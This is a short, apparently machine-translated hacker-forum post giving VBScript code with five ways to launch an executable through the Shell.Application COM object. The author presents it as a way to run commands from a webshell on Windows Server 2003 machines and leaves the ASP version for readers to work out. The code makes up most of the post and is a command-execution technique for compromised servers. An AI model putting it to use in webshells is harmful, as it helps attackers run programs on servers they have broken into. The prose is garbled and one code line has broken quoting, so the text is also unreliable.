When the old horse wrote this version, I tested a simple reproduction of two 2003 version, when it is easy to use. I guess it's probably about 2003 dozen ms06014 patches. Kyo the solution at the freezing point forum, I studied this component this afternoon and found that it has 5 ways to execute commands. The following is the VBS version (ASP version does not provide, how to use the ASP version in the 2003 Webshell to run the command, solve it yourself:-):
Copy Code code as follows:
Set Objshellapp = CreateObject ("Shell.Application")
Set objfolder = Objshellapp.namespace ("C:\")
objFolder.Items (). Item ("Demo.exe"). Invokeverb ' Method 1
objFolder.Items (). Item ("Demo.exe"). InvokeVerbEx ' Method 2
Objshellapp.open ("C:\demo.exe") ' Method 3
Objshellapp.shellexecute "Demo.exe", "" "," C:\ "," "," 1 "' Method 4, can add parameters and set parameter values
' Method 5
Set objFolderItem = Objshellapp.namespace ("C:\"). Items (). Item ("Demo.exe")
Set Objfivs = Objfolderitem.verbs ()
For I=0 to Objfivs.count-1
' MsgBox Objfivs.item (i)
Set OBJFIV = Objfivs.item (i)
If objfiv.name = "open (&o)" Then ' right-click menu in the Chinese system is "open (&o)", change English
Objfiv.doit
Exit for
End IF
Next